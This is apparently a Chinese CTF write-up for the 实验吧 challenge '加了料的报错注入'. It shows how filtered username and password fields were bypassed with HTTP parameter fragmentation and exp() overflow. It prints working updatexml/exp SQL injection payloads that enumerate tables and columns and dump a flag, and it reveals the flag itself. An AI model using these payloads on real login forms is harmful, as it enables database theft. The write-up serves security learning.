前言

不得不说这一题对我来说挺有难度的,以前没有遇到过。看了别人的writeup过后,也想要记录一下,给自己攒攒经验
这题的解法有两种:
(1)HPF(http parameter fragment)
(2)exp()报错注入

HPF注入

查看源码:

就是要提交post数据,我直接在burpsuite里面操作。
随便输入两个参数,页面提示login failed。根据源码中的sql语句,我们试试username与password参数能否注入:

经过测试,两个参数都可以注入,但是有很多参数都过滤了,使用burp的intruder模块来大概测试一下到底哪些参数被过滤了,下面是username字段的结果:

union是过滤了的,=也是过滤了的
password也差不多是这些。但有一点值得注意:

如上图,password字段输入()时,显示的是login failed但是username字段则是

user name unkwon error,可以推断username字段过滤了(),而password没有过滤(),但是有趣的是username没有过滤可以利用的函数名,例如extractvalue,但是password字段过滤了函数名,意思就是只有拼接一下这两个字段才能完成漏洞的利用,所以我们需要用到注释符:/**/
接下来就是正常的注入流程了:
爆表名:
username=' or updatexml/*&password=1*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema regexp database()),0x7e),1) or '

爆字段名:
username=' or updatexml/*&password=1*/(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema regexp database() and table_name regexp 0x66666c6c34346a6a),0x7e),1) or '
这里的表明转换成16进制

接下来查表:
username=' or updatexml/*&password=1*/(1,concat(0x7e,(select value from ffll44jj),0x7e),1) or '

得到flag:flag{err0r_b4sed_sqli_+_hpf}
####利用exp()报错注入
由于出题人需要利用正则代替等号,所以也就没有过滤exp()函数。
有关exp()溢出报错注入,戳这里:http://drops.xmd5.com/static/drops/tips-8166.html
我们直接上利用语句:

username=1l&password=1' or exp(~(select * from (select value from ffll44jj)x)) or '

实验吧-加了料的报错注入相关推荐

  1. SQL 新加字段查询窗口报错

    SQL 新加字段查询窗口报错 这是由于SQL Server的intellisense的引起的,intellisense是SQL Server的智能记录智能感知功能,即当给sql表名加上".& ...

  2. 关于datediff(year,开始日期,结束日期)中year格式的说明,特别注意year两边不能加引号,否则报错...

    关于datediff(year,开始日期,结束日期)中year格式的说明,特别注意year两边不能加引号,否则报错 如果要计算两个时间是否满意年,可以相减,最小365,润年366天.求整 转载于:ht ...

  3. vue 动态加载图片路径报错解决方法

    vue 动态加载图片路径报错解决方法 参考文章: (1)vue 动态加载图片路径报错解决方法 (2)https://www.cnblogs.com/qingcui277/p/8930507.html ...

  4. MTK的Flashtool 加载scatter-loading是报错

    Flashtool 加载scatter-loading是报错: Image UBOOT checksum failed! Checksum reference value(0xf6b7)in the ...

  5. 报错解决:加载数据库驱动报错-Loading class `com.mysql.jdbc.Driver‘. The new driver class is `com.mysql.cj.jdb

    Loading class com.mysql.jdbc.Driver'. This is deprecated. The new driver class iscom.mysql.cj.jdbc.D ...

  6. 闪退没由报错_关于floor()报错注入,你真的懂了吗?

    0x01 简述 floor报错注入也有叫group报错注入的,都一样,指的都是他们.floor报错注入我想大多数人跟我一样,都是会用而不明白其中的原理.这个问题困扰了在下好长时间了,所以决定好好研究下 ...

  7. sqlmap报错注入

    0x00 背景 学习记录一下报错型的注入,经各方整理和自己总结形成. 所有的注入原理都是一样,即用户输入被拼接执行.但后台数据库执行语句产生错误并回显到页面时即可能存在报错注入. 0x01概念 报错型 ...

  8. 报错注入_sqli-labs less5 Double Query- Single Quotes- String

    sqli-labs less5 Double Query- Single Quotes- String ?id=1 无回显 考虑报错注入 (1)判断字符型还是数字型 http://39.101.162 ...

  9. mysql的count报错_Mysql报错注入原理分析count、rand、groupby

    0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截图,然后执行sql语句证明一下结论,但是没有人去深入研究为什么rand不能和o ...

最新文章

  1. openstack高可用方案
  2. 如何保证工业相机工作的精准与稳定?
  3. SAP CV02N 审批一个文档
  4. 图论 —— 环与块 —— 负权环
  5. oracle数据库初始化参数分类,oracle初始化参数设置
  6. javascript在使用时要注意的东西
  7. 去掉开始菜单中新装程序的红色标记【Windows】
  8. Qt4--加密日记本(子例化QMainWindow文本加密解密)
  9. 《通用规范汉字表》背景知识词条
  10. Namecheap无法登录、无法修改密码
  11. 帝国时代2哪个服务器稳定,20年后的新生,经典永不落幕——《帝国时代2:决定版》体验报告...
  12. 【重磅首发新品】AM335x全面升级处理器——AM62x,四核Cortex-A53+M4F,主频1.4GHz
  13. 移动 PC 的数据加密工具包 - 安全分析
  14. 团队协作工具--worktile
  15. 第三章网络介质计算题及其解析[计算机网络]
  16. JAVA 之POI导入批量新增、批量检查、日志记录、失败原因、失败条数、数据库映射
  17. 为什么要用并发编程?
  18. 如何抠图人像换背景?教你一个在线操作的方法
  19. 基于sklearn的软硬间隔以及各类核函数的SVM实现
  20. 使用matplotlib,pylab进行python绘图

热门文章

  1. netty 错误 #[IllegalReferenceCountException: refCnt: 0, decrement: 1]
  2. 教师备课计算机教师管理制度,计算机学院教学过程管理中教师职责与问责暂行规定--中地大计字[2016]03号...
  3. Ext2.2 combo 多选效果
  4. python输入学生姓名_python学生信息管理系统实现代码
  5. 第13届中国生物特征识别大会即将盛大开幕,中科博宏期待您的到来!
  6. 德银天下港交所上市:市值39亿港元 陕汽集团是大股东
  7. 前端开发JS--匀速运动
  8. Loading plugin Fxp\Composer\AssetPlugin\FxpAssetPlugin PHP Fatal error: Uncaught Error: Call to unde
  9. scylla_Scylla评论:Apache Cassandra增压
  10. 目标检测: 一文读懂 CenterNet (CVPR 2019)